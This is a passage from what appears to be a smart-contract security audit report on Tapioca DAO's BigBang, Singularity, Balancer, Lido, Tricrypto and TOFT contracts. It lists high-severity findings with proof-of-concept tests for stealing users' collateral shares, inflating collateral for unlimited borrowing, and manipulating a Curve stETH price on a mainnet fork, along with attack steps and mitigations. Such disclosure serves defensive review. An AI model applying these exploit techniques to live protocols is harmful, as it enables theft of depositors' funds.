        uint256 feeAmount = (amount * borrowOpeningFee) / FEE_PRECISION; // A flat % fee is charged for any borrow

        (totalBorrow, part) = totalBorrow.add(amount + feeAmount, true);
        require(
            totalBorrowCap == 0 || totalBorrow.elastic <= totalBorrowCap,
            "BigBang: borrow cap reached"
        );

        userBorrowPart[from] += part; // toBase from RebaseLibrary. userBorrowPart stores the sharee

        //mint USDO
        // IUSDOBase(address(asset)).mint(address(this), amount); // not needed
        USDO_balance += amount;

        //deposit borrowed amount to user
        // asset.approve(address(yieldBox), amount);  // not needed
        // yieldBox.depositAsset(assetId, address(this), to, amount, 0); // not needed
        USDO_balance -= amount;

        // share = yieldBox.toShare(assetId, amount, false); // not needed

        // emit LogBorrow(from, to, amount, feeAmount, part); // not needed
    }

    // copied from YieldBoxRebase
    function _toAmount(
        uint256 share,
        uint256 totalShares_,
        uint256 totalAmount,
        bool roundUp
    ) external pure returns (uint256 amount) {
        // To prevent reseting the ratio due to withdrawal of all shares, we start with
        // 1 amount/1e8 shares already burned. This also starts with a 1 : 1e8 ratio which
        // functions like 8 decimal fixed point math. This prevents ratio attacks or inaccuracy
        // due to 'gifting' or rebasing tokens. (Up to a certain degree)
        totalAmount++;
        totalShares_ += 1e8;

        // Calculte the amount using te current amount to share ratio
        amount = (share * totalAmount) / totalShares_;

        // Default is to round down (Solidity), round up if required
        if (roundUp && (amount * totalShares_) / totalAmount < share) {
            amount++;
        }
    }
}

contract BIGBANG_ISSUES is DSTest, Test {
    BIGBANG_MOCK bigbangMock;
    address bob;

    function setUp() public {
        bigbangMock = new BIGBANG_MOCK();
        bob = vm.addr(1);
    }

    function test_borrow_repay() public {
        // borrow
        uint256 amount = 745e18;

        vm.warp(1 days);
        bigbangMock._accrue(); // acrrue before borrow (this is done on borrow)

        bigbangMock._borrow(bob, address(0), amount);
        console.log("===BORROW===");
        // console.log("Amount: %d", amount);
        console.log("UserBorrowPart: %d", bigbangMock.userBorrowPart(bob));
        console.log("Total Borrow Base: %d", bigbangMock.totalBorrowBase());
        console.log(
            "Total Borrow Elastic: %d",
            bigbangMock.totalBorrowElastic()
        );

        // time elapsed
        vm.warp(365 days);
        console.log("===356 days passed===");
        bigbangMock._accrue();
        console.log(
            "Total Borrow Elastic: %d",
            bigbangMock.totalBorrowElastic()
        ); 

        // Check Insolvency

        uint256 _exchangeRate = 1e18;
        uint256 collateralShare = 1000e18;
        uint256 totalShares = 1000e18;
        uint256 totalAmount = 1000e18;
        uint256 EXCHANGE_RATE_PRECISION = bigbangMock.EXCHANGE_RATE_PRECISION();
        uint256 FEE_PRECISION = bigbangMock.FEE_PRECISION();
        uint256 collateralizationRate = bigbangMock.collateralizationRate();

        uint256 borrowPart = bigbangMock.userBorrowPart(bob);
        uint256 _totalBorrowElastic = bigbangMock.totalBorrowElastic();
        uint256 _totalBorrowBase = bigbangMock.totalBorrowBase();



        console.log("===Solvency#1 => multiply by share===");
        // we pass totalShares and totalAmount
        uint256 A = bigbangMock._toAmount(
            collateralShare *
                (EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
                collateralizationRate,
            totalShares,
            totalAmount,
            false
        );

        // Moved exchangeRate here instead of dividing the other side to preserve more precision
        uint256 B = (borrowPart * _totalBorrowElastic * _exchangeRate) /
            _totalBorrowBase;

        // bool isSolvent = A >= B;

        console.log("A: %d", A);
        console.log("B: %d", B);


        console.log("===Solvency#2 => multiply by amount===");

        A =
            bigbangMock._toAmount(
                collateralShare,
                totalShares,
                totalAmount,
                false
            ) *
            (EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
            collateralizationRate;

        // Moved exchangeRate here instead of dividing the other side to preserve more precision
        B =
            (borrowPart * _totalBorrowElastic * _exchangeRate) /
            _totalBorrowBase;

        // isSolvent = A >= B;

        console.log("A: %d", A);
        console.log("B: %d", B);


        console.log("===Result===");
        console.log("Solvency#1.A != Solvency#2.A");

    }
}

Use amount for calculation instead of shares. Check the PoC as it demonstrates such an example.

0xRektora (sponsor) confirmed


[H-05] Ability to steal user funds and increase collateral share infinitely in BigBang and Singularity

Submitted by Ack, also found by Koolex (1, 2), RedOneN, plainshift, ladboy233, bin2chen, zzzitron, ayeslick, KIntern_NA, kaden, xuwinnie, Oxsadeeq, 0xStalin, 0xG0P1, ltyu, cergyk, TiesStevelink, rvierdiiev, and 0xRobocop

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L288

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLCollateral.sol#L27

The addCollateral methods in both BigBang and Singularity contracts allow the share parameter to be passed as 0. When share is 0, the equivalent amount of shares is calculated using the YieldBox toShare method. However, there is a modifier named allowedBorrow that is intended to check the allowed borrowing amount for each implementation of the addCollateral methods. Unfortunately, the modifier is called with the share value passed to addCollateral, and in the case of 0, it will always pass.

// MarketERC20.sol
function _allowedBorrow(address from, uint share) internal {
    if (from != msg.sender) {
        if (allowanceBorrow[from][msg.sender] < share) {
            revert NotApproved(from, msg.sender);
        }
        allowanceBorrow[from][msg.sender] -= share;
    }
}

// BigBang.sol
function addCollateral(
    address from,
    address to,
    bool skim,
    uint256 amount,
    uint256 share
    // @audit share is calculated afterwords the modifier
) public allowedBorrow(from, share) notPaused {
    _addCollateral(from, to, skim, amount, share);
}

function _addCollateral(
    address from,
    address to,
    bool skim,
    uint256 amount,
    uint256 share
) internal {
    if (share == 0) {
        share = yieldBox.toShare(collateralId, amount, false);
    }
    userCollateralShare[to] += share;
    uint256 oldTotalCollateralShare = totalCollateralShare;
    totalCollateralShare = oldTotalCollateralShare + share;
    _addTokens(
        from,
        to,
        collateralId,
        share,
        oldTotalCollateralShare,
        skim
    );
    emit LogAddCollateral(skim ? address(yieldBox) : from, to, share);
}

This leads to various critical scenarios in BigBang and Singularity markets where user assets can be stolen, and collateral share can be increased infinitely which in turn leads to infinite USDO borrow/mint and borrowing max assets from Singularity market.

Refer to Proof of Concept for attack examples

Impact

High - allows stealing of arbitrary user yieldbox shares in BigBang contract and Singularity. In the case of BigBang this leads to infinite minting of USDO. Effectively draining all markets and LPs where USDO has value. In the case of Singularity this leads to infinite borrowing, allowing an attacker to obtain possession of all other users’ collateral in Singularity.

Proof of concept

  1. Malicious actor can add any user shares that were approved to BigBang or Singularity contracts deployed. This way adversary is stealing user shares that he can unwrap to get underlying collateral provided.
it('allows steal other user YieldBox collateral shares', async () => {
    const {
        wethBigBangMarket,
        weth,
        wethAssetId,
        yieldBox,
        deployer: userA,
        eoa1: userB,
    } = await loadFixture(register);

    await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
    await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);

    const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
        10,
    );
    await weth.freeMint(wethMintVal);
    const valShare = await yieldBox.toShare(
        wethAssetId,
        wethMintVal,
        false,
    );

    // User A deposit assets to yieldbox, receives shares
    await yieldBox.depositAsset(
        wethAssetId,
        userA.address,
        userA.address,
        0,
        valShare,
    );
    let userABalance = await yieldBox.balanceOf(
        userA.address,
        wethAssetId,
    )
    expect(userABalance.gt(0)).to.be.true;
    expect(userABalance.eq(valShare)).to.be.true;

    // User B adds collateral to big bang from user A shares
    await expect(wethBigBangMarket.connect(userB).addCollateral(
        userA.address,
        userB.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")
        .withArgs(wethBigBangMarket.address, userA.address, wethBigBangMarket.address, wethAssetId, valShare);

    userABalance = await yieldBox.balanceOf(
        userA.address,
        wethAssetId,
    )
    expect(userABalance.eq(0)).to.be.true;

    let collateralShares = await wethBigBangMarket.userCollateralShare(
        userB.address,
    );
    expect(collateralShares.gt(0)).to.be.true;
    expect(collateralShares.eq(valShare)).to.be.true;

    // User B removes collateral
    await wethBigBangMarket.connect(userB).removeCollateral(
        userB.address,
        userB.address,
        collateralShares,
    );

    collateralShares = await wethBigBangMarket.connect(userB).userCollateralShare(
        userA.address,
    );
    expect(collateralShares.eq(0)).to.be.true;

    // User B ends up with User A shares in yieldbox
    let userBBalance = await yieldBox.balanceOf(
        userB.address,
        wethAssetId,
    )
    expect(userBBalance.gt(0)).to.be.true;
    expect(userBBalance.eq(valShare)).to.be.true;
});
  1. For Singularity contract this allows to increase collateralShare by the amount of assets provided as collateral infinitely leading to x / x + 1 share of the collateral for the caller with no shares in the pool, where x is the number of times the addColateral is called, effectively allowing for infinite borrowing. As a consequence, the attacker can continuously increase their share of the collateral without limits, leading to potentially excessive borrowing of assets from the Singularity market.
it('allows to infinitely increase user collateral share in BigBang', async () => {
    const {
        wethBigBangMarket,
        weth,
        wethAssetId,
        yieldBox,
        deployer: userA,
        eoa1: userB,
    } = await loadFixture(register);

    await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
    await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);

    const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
        10,
    );
    await weth.freeMint(wethMintVal);
    const valShare = await yieldBox.toShare(
        wethAssetId,
        wethMintVal,
        false,
    );

    // User A deposit assets to yieldbox, receives shares
    await yieldBox.depositAsset(
        wethAssetId,
        userA.address,
        userA.address,
        0,
        valShare,
    );
    let userABalance = await yieldBox.balanceOf(
        userA.address,
        wethAssetId,
    )
    expect(userABalance.gt(0)).to.be.true;
    expect(userABalance.eq(valShare)).to.be.true;

    // User A adds collateral to BigBang
    await wethBigBangMarket.addCollateral(
        userA.address,
        userA.address,
        false,
        wethMintVal,
        0,
    );
    let bigBangBalance = await yieldBox.balanceOf(
        wethBigBangMarket.address,
        wethAssetId,
    )
    expect(bigBangBalance.eq(valShare)).to.be.true;
    let userACollateralShare = await wethBigBangMarket.userCollateralShare(
        userA.address,
    );
    expect(userACollateralShare.gt(0)).to.be.true;
    expect(userACollateralShare.eq(valShare)).to.be.true;
    let userBCollateralShare = await wethBigBangMarket.userCollateralShare(
        userB.address,
    );
    expect(userBCollateralShare.eq(0)).to.be.true;

    // User B is able to increase his share to 50% of the whole collateral added
    await expect(wethBigBangMarket.connect(userB).addCollateral(
        wethBigBangMarket.address,
        userB.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")

    userBCollateralShare = await wethBigBangMarket.userCollateralShare(
        userB.address,
    );

    expect(userBCollateralShare.gt(0)).to.be.true;
    expect(userBCollateralShare.eq(valShare)).to.be.true;

    // User B is able to increase his share to 66% of the whole collateral added
    await expect(wethBigBangMarket.connect(userB).addCollateral(
        wethBigBangMarket.address,
        userB.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")

    userBCollateralShare = await wethBigBangMarket.userCollateralShare(
        userB.address,
    );

    expect(userBCollateralShare.gt(0)).to.be.true;
    expect(userBCollateralShare.eq(valShare.mul(2))).to.be.true;

    // ....
});
  1. In the BigBang contract, this vulnerability allows a user to infinitely increase their collateral shares by providing collateral repeatedly. As a result, the user can artificially inflate their collateral shares provided, potentially leading to an excessive borrowing capacity. By continuously adding collateral without limitations, the user can effectively borrow against any collateral amount they desire, which poses a significant risk to USDO market.
it('allows infinite borrow of USDO', async () => {
    const {
        wethBigBangMarket,
        weth,
        wethAssetId,
        yieldBox,
        deployer: userA,
        eoa1: userB,
    } = await loadFixture(register);

    await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
    await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);

    const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
        10,
    );
    await weth.freeMint(wethMintVal);
    const valShare = await yieldBox.toShare(
        wethAssetId,
        wethMintVal,
        false,
    );

    // User A deposit assets to yieldbox, receives shares
    await yieldBox.depositAsset(
        wethAssetId,
        userA.address,
        userA.address,
        0,
        valShare,
    );
    let userABalance = await yieldBox.balanceOf(
        userA.address,
        wethAssetId,
    )
    expect(userABalance.gt(0)).to.be.true;
    expect(userABalance.eq(valShare)).to.be.true;

    // User A adds collateral to BigBang
    await wethBigBangMarket.addCollateral(
        userA.address,
        userA.address,
        false,
        wethMintVal,
        0,
    );
    let bigBangBalance = await yieldBox.balanceOf(
        wethBigBangMarket.address,
        wethAssetId,
    )
    expect(bigBangBalance.eq(valShare)).to.be.true;
    let userACollateralShare = await wethBigBangMarket.userCollateralShare(
        userA.address,
    );
    expect(userACollateralShare.gt(0)).to.be.true;
    expect(userACollateralShare.eq(valShare)).to.be.true;

    await wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000");

    await expect(
        wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000")
    ).to.be.reverted;

    await expect(wethBigBangMarket.addCollateral(
        wethBigBangMarket.address,
        userA.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")

    await wethBigBangMarket.borrow(userA.address, userA.address, "7500000000000000000000");

    await expect(wethBigBangMarket.addCollateral(
        wethBigBangMarket.address,
        userA.address,
        false,
        wethMintVal,
        0,
    )).to.emit(yieldBox, "TransferSingle")

    await wethBigBangMarket.borrow(userA.address, userA.address, "7530000000000000000000");

    // ....
});
  • Check allowed to borrow shares amount after evaluating equivalent them

0xRektora (Tapioca) confirmed via duplicate issue 55


[H-06] BalancerStrategy _withdraw uses BPT_IN_FOR_EXACT_TOKENS_OUT which can be attack to cause loss to all depositors

Submitted by GalloDaSballo

Withdrawals can be manipulated to cause complete loss of all tokens.

The BalancerStrategy accounts for user deposits in terms of the BPT shares they contributed, however, for withdrawals, it estimates the amount of BPT to burn based on the amount of ETH to withdraw, which can be manipulated to cause a total loss to the Strategy.

Deposits of weth are done via userData.joinKind set to 1, which is extracted here in the generic Pool Logic:
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L49

The interpretation (by convention is shown here):
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L49

    enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }

Which means that the deposit is using EXACT_TOKENS_IN_FOR_BPT_OUT which is safe in most circumstances (Pool Properly Balanced, with minimum liquidity).

BPT_IN_FOR_EXACT_TOKENS_OUT is vulnerable to manipulation

_vaultWithdraw uses the following logic to determine how many BPT to burn:

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/balancer/BalancerStrategy.sol#L224-L242

uint256[] memory minAmountsOut = new uint256[](poolTokens.length);
        for (uint256 i = 0; i < poolTokens.length; i++) {
            if (poolTokens[i] == address(wrappedNative)) {
                minAmountsOut[i] = amount;
                index = int256(i);
            } else {
                minAmountsOut[i] = 0;
            }
        }

        IBalancerVault.ExitPoolRequest memory exitRequest;
        exitRequest.assets = poolTokens;
        exitRequest.minAmountsOut = minAmountsOut;
        exitRequest.toInternalBalance = false;
        exitRequest.userData = abi.encode(
            2,
            exitRequest.minAmountsOut,
            pool.balanceOf(address(this))
        );

This query logic is using 2, which Maps out to BPT_IN_FOR_EXACT_TOKENS_OUT which means Exact Out, with any (all) BPT IN, this means that the swapper is willing to burn all tokens:
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L51

        enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT }

This meets the 2 prerequisite for stealing value from the vault by socializing loss due to single sided exposure:

    1. The request is for at least amount WETH
    1. The request is using BPT_IN_FOR_EXACT_TOKENS_OUT

Which means the strategy will accept any slippage, in this case 100%, causing it to take a total loss for the goal of allowing a withdrawal, at the advantage of the attacker and the detriment of all other depositors.

POC

The requirement to trigger the loss are as follows:

  • Deposit to have some amount of BPTs deposited into the strategy
  • Imbalance the Pool to cause pro-rata amount of single token to require burning a lot more BPTs
  • Withdraw from the strategy, the strategy will burn all of the BPTs it owns (more than the shares)
  • Rebalance the pool with the excess value burned from the strategy

Further Details

Specifically, in withdrawing one Depositor Shares, the request would end up burning EVERYONEs shares, causing massive loss to everyone.

This has already been exploited and explained in Yearns Disclosure:

https://github.com/yearn/yearn-security/blob/master/disclosures/2022-01-30.md

More specifically this finding can cause a total loss, while trying to withdraw tokens for a single user, meaning that an attacker can setup the pool to cause a complete loss to all other stakers.

Mitigation Step

Use EXACT_BPT_IN_FOR_TOKENS_OUT and denominate the Strategy in LP tokens to avoid being attacked via single sided exposure.

cryptotechmaker (Tapioca) confirmed


[H-07] Usage of BalancerStrategy.updateCache will cause single sided Loss, discount to Depositor and to OverBorrow from Singularity

Submitted by GalloDaSballo, also found by carrotsmuggler, kaden, and cergyk

The BalancerStrategy uses a cached value to determine it’s balance in pool for which it takes Single Sided Exposure.

This means that the Strategy has some BPT tokens, but to price them, it’s calling vault.queryExit which simulates withdrawing the LP in a single sided manner.

Due to the single sided exposure, it’s trivial to perform a Swap, that will change the internal balances of the pool, as a way to cause the Strategy to discount it’s tokens.

By the same process, we can send more ETH as a way to inflate the value of the Strategy, which will then be cached.

Since _currentBalance is a view-function, the YieldBox will accept these inflated values without a way to dispute them

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/balancer/BalancerStrategy.sol#L138-L147

    function _deposited(uint256 amount) internal override nonReentrant {
        uint256 queued = wrappedNative.balanceOf(address(this));
        if (queued > depositThreshold) {
            _vaultDeposit(queued);
            emit AmountDeposited(queued);
        }
        emit AmountQueued(amount);

        updateCache(); /// @audit this is updated too late (TODO PROOF)
    }

POC

  • Imbalance the pool (Sandwich A)
  • Update updateCache
  • Deposit into YieldBox, YieldBox is using a view function, meaning it will use the manipulated strategy _currentBalance
  • _deposited trigger an updateCache
  • Rebalance the Pool (Sandwich B)
  • Call updateCache again to bring back the rate to a higher value
  • Withdraw at a gain

Result

Imbalance Up -> Allows OverBorrowing and causes insolvency to the protocol Imbalance Down -> Liquidate Borrowers unfairly at a profit to the liquidator Sandwhiching the Imbalance can be used to extract value from the strategy and steal user deposits as well

Mitigation

Use fair reserve math, avoid single sided exposure (use the LP token as underlying, not one side of it)

cryptotechmaker (Tapioca) confirmed


[H-08] LidoEthStrategy._currentBalance is subject to price manipulation, allows overborrowing and liquidations

Submitted by GalloDaSballo, also found by ladboy233, carrotsmuggler, kaden, cergyk, and rvierdiiev

The strategy is pricing stETH as ETH by asking the pool for it’s return value

This is easily manipulatable by performing a swap big enough

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L118-L125

    function _currentBalance() internal view override returns (uint256 amount) {
        uint256 stEthBalance = stEth.balanceOf(address(this));
        uint256 calcEth = stEthBalance > 0
            ? curveStEthPool.get_dy(1, 0, stEthBalance) // TODO: Prob manipulatable view-reentrancy
            : 0;
        uint256 queued = wrappedNative.balanceOf(address(this));
        return calcEth + queued;
    }

    /// @dev deposits to Lido or queues tokens if the 'depositThreshold' has not been met yet
    function _deposited(uint256 amount) internal override nonReentrant {
        uint256 queued = wrappedNative.balanceOf(address(this));
        if (queued > depositThreshold) {
            require(!stEth.isStakingPaused(), "LidoStrategy: staking paused");
            INative(address(wrappedNative)).withdraw(queued);
            stEth.submit{value: queued}(address(0)); //1:1 between eth<>stEth // TODO: Prob cheaper to buy stETH
            emit AmountDeposited(queued);
            return;
        }
        emit AmountQueued(amount);
    }

POC

  • Imbalance the Pool to overvalue the stETH
  • Overborrow and Make the Singularity Insolvent
  • Imbalance the Pool to undervalue the stETH
  • Liquidate all Depositors (at optimal premium since attacker can control the price change)

Coded POC

Logs

[PASS] testSwapStEth() (gas: 372360)
  Initial Price 5443663537732571417920
  Changed Price 2187071651284977907921
  Initial Price 2187071651284977907921
  Changed Price 1073148438886623970
[PASS] testSwapETH() (gas: 300192)
Logs:
  value 100000000000000000000000
  Initial Price 5443663537732571417920
  Changed Price 9755041616702274912586
  value 700000000000000000000000
  Initial Price 9755041616702274912586
  Changed Price 680711874102963551173181

Considering that swap fees are 1BPS, the attack is profitable at very low TVL

// SPDX-License Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";

interface ICurvePoolWeird {
    function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
    function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);
}

interface ICurvePool {
    function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
    function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);

    function get_virtual_price() external view returns (uint256);
    function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 _min_amount) external;

    function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
}

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
    function transfer(address, uint256) external returns (bool);
}

contract Swapper is Test {
    ICurvePool pool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
    IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);

    uint256 TEN_MILLION_USD_AS_ETH = 5455e18; // Rule of thumb is 1BPS cost means we can use 5 Billion ETH and still be

    function swapETH() external payable {
        console2.log("value", msg.value);
        console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));

        pool.exchange{value: msg.value}(0, 1, msg.value, 0); // Swap all yolo

        // curveStEthPool.get_dy(1, 0, stEthBalance)
        console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));


    }

    function swapStEth() external {
        console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));

        // Always approve exact ;)
        uint256 amt = stETH.balanceOf(address(this));
        stETH.approve(address(pool), stETH.balanceOf(address(this)));

        pool.exchange(1, 0, amt, 0); // Swap all yolo

        // curveStEthPool.get_dy(1, 0, stEthBalance)
        console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
    }

    receive() external payable {}
}

contract CompoundedStakesFuzz is Test {
    Swapper c;
    IERC20 token = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);

    function setUp() public {
        c = new Swapper();
    }

    function testSwapETH() public {
        deal(address(this), 100_000e18);
        c.swapETH{value: 100_000e18}(); /// 100k ETH is enough to double the price

        deal(address(this), 700_000e18);
        c.swapETH{value: 700_000e18}(); /// 700k ETH is enough to double the price
    }
    function testSwapStEth() public {
        vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Has 700k ETH, 100k is sufficient
        token.transfer(address(c), 100_000e18);
        c.swapStEth();

        vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Another one for good measure
        token.transfer(address(c), 600_000e18);
        c.swapStEth();
    }
}

Mitigation

Use the Chainlink stETH / ETH Price Feed or Ideally do not expose the strategy to any conversion, simply deposit and withdraw stETH directly to avoid any risk or attack in conversions

https://data.chain.link/arbitrum/mainnet/crypto-eth/steth-eth

https://data.chain.link/ethereum/mainnet/crypto-eth/steth-eth

0xRektora (Tapioca) confirmed via duplicate issue 828


[H-09] TricryptoLPStrategy.compoundAmount always returns 0 because it’s using staticall vs call

Submitted by GalloDaSballo

compoundAmount will always try to sell 0 tokens because the staticall will revert since the function changes storage in checkpoint

This causes the compoundAmount to always return 0, which means that the Strategy is underpriced at all times allowing to Steal all Rewards via:

  • Deposit to own a high % of ownerhsip in the strategy (shares are underpriced)
  • Compound (shares socialize the yield to new total supply, we get the majority of that)
  • Withdraw (lock in immediate profits without contributing to the Yield)

POC

This Test is done on the Arbitrum Tricrypto Gauge with Foundry

1 is the flag value for a revert 0 is the expected value

We get 1 when we use staticcall since the call reverts internally We get 0 when we use call since the call doesn’t

The comment in the Gauge Code is meant for usage off-chain, onChain you must accrue (or you could use a Accrue Then Revert Pattern, similar to UniV3 Quoter)

NOTE: The code for Mainnet is the same, so it will result in the same impact
https://etherscan.io/address/0xDeFd8FdD20e0f34115C7018CCfb655796F6B2168#code#L375

Foundry POC

forge test --match-test test_callWorks --rpc-url https://arb-mainnet.g.alchemy.com/v2/ALCHEMY_KEY

Which will revert since checkpoint is a non-view function and staticall reverts if any state is changed

https://arbiscan.io/address/0x555766f3da968ecbefa690ffd49a2ac02f47aa5f#code#L168

// SPDX-License Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";



contract GaugeCallTest is Test {
    
    // Arb Tricrypto Gauge
    address lpGauge = 0x555766f3da968ecBefa690Ffd49A2Ac02f47aa5f;

    function setUp() public {}

    function doTheCallView() internal returns (uint256) {
        (bool success, bytes memory response) = address(lpGauge).staticcall(
            abi.encodeWithSignature("claimable_tokens(address)", address(this))
        );

        uint256 claimable = 1;
        if (success) {
            claimable = abi.decode(response, (uint256));
        }

        return claimable;
    }
    function doTheCallCall() internal returns (uint256) {
        (bool success, bytes memory response) = address(lpGauge).call(
            abi.encodeWithSignature("claimable_tokens(address)", address(this))
        );

        uint256 claimable = 1;
        if (success) {
            claimable = abi.decode(response, (uint256));
        }

        return claimable;
    }

    function test_callWorks() public {
        uint256 claimableView = doTheCallView();

        assertEq(claimableView, 1); // Return 1 which is our flag for failure

        uint256 claimableNonView = doTheCallCall();

        assertEq(claimableNonView, 0); // Return 0 which means we read the proper value
    }
}

Mitigation Step

You should use a non-view function like in compound

cryptotechmaker (Tapioca) confirmed


[H-10] Liquidated USDO from BigBang not being burned after liquidation inflates USDO supply and can threaten peg permanently

Submitted by unsafesol, also found by peakbolt, 0xnev, rvierdiiev, and 0xRobocop

Absence of proper USDO burn after liquidation in the BigBang market results in a redundant amount of USDO being minted without any collateral or backing. Thus, the overcollaterization of USDO achieved through BigBang will be eventually lost and the value of USDO in supply (1USDO = 1$) will exceed the amount of collateral locked in BigBang. This has multiple repercussions- the USDO peg will be threatened and yieldBox will have USDO which has virtually no value, resulting in all the BigBang strategies failing.

Proof of Concept

According to the Tapioca documentation, the BigBang market mints USDO when a user deposits sufficient collateral and borrows tokens. When a user repays the borrowed USDO, the market burns the borrowed USDO and unlocks the appropriate amount of collateral. This is essential to the peg of USDO, since USDO tokens need a valid collateral backing.

While liquidating a user as well, the same procedure should be followed- after swapping the user’s collateral for USDO, the repaid USDO (with liquidation) must be burned so as to sustain the USDO peg. However, this is not being done. As we can see here: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L618-L637, the collateral is swapped for USDO, and fee is extracted and transferred to the appropriate parties, but nothing is done for the remaining USDO which was repaid. At the same time, this was done correctly done in BigBang#_repay for repayment here: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L734-L736.

This has the following effects:

  1. The BigBang market now has redundant yieldBox USDO shares which have no backing.
  2. The redundant USDO is now performing in yieldBox strategies of tapioca.
  3. The USDO eventually becomes overinflated and exceeds the value of underlying collateral.
  4. The strategies start not performing since they have unbacked USDO, and the USDO peg is lost as well since there is no appropriate amount of underlying collateral.

Burn the USDO acquired through liquidation after extracting fees for appropriate parties.

0xRektora (Tapioca) confirmed


[H-11] TOFT exerciseOption can be used to steal all underlying erc20 tokens

Submitted by windhustler, also found by Ack

Unvalidated input data for the exerciseOption function can be used to steal all the erc20 tokens from the contract.

Proof of Concept

Each BaseTOFT is a wrapper around an erc20 token and extends the OFTV2 contract to enable smooth cross-chain transfers through LayerZero. Depending on the erc20 token which is used usually the erc20 tokens will be held on one chain and then only the shares of OFTV2 get transferred around (burnt on one chain, minted on another chain). Subject to this attack is TapiocaOFTs or mTapiocaOFTs which store as an underlying token an erc20 token(not native). In order to mint TOFT shares you need to deposit the underlying erc20 tokens into the contract, and you get TOFT shares.

The attack flow is the following:

  1. The attack starts from the exerciseOption. Nothing is validated here and the only cost of the attack is the optionsData.paymentTokenAmount which is burned from the attacker. This can be some small amount.
  2. When the message is received on the remote chain inside the exercise function it is important that nothing reverts for the attacker.
  3. For the attacker to go through the attacker needs to pass the following data:
function exerciseInternal(
        address from,
        uint256 oTAPTokenID,
        address paymentToken,
        uint256 tapAmount,
        address target,
        ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData
            memory tapSendData,
        ICommonData.IApproval[] memory approvals
    ) public {
        // pass zero approval so this is skipped 
        if (approvals.length > 0) {
            _callApproval(approvals);
        }
        
        // target is the address which does nothing, but has the exerciseOption implemented
        ITapiocaOptionsBroker(target).exerciseOption(
            oTAPTokenID,
            paymentToken,
            tapAmount
        );
        // tapSendData.withdrawOnAnotherChain = false so we enter else branch
        if (tapSendData.withdrawOnAnotherChain) {
            ISendFrom(tapSendData.tapOftAddress).sendFrom(
                address(this),
                tapSendData.lzDstChainId,
                LzLib.addressToBytes32(from),
                tapAmount,
                ISendFrom.LzCallParams({
                    refundAddress: payable(from),
                    zroPaymentAddress: tapSendData.zroPaymentAddress,
                    adapterParams: LzLib.buildDefaultAdapterParams(
                        tapSendData.extraGas
                    )
                })
            );
        } else {
            // tapSendData.tapOftAddress is the address of the underlying erc20 token for this TOFT
            // from is the address of the attacker
            // tapAmount is the balance of erc20 tokens of this TOFT
            IERC20(tapSendData.tapOftAddress).safeTransfer(from, tapAmount);
        }
    }
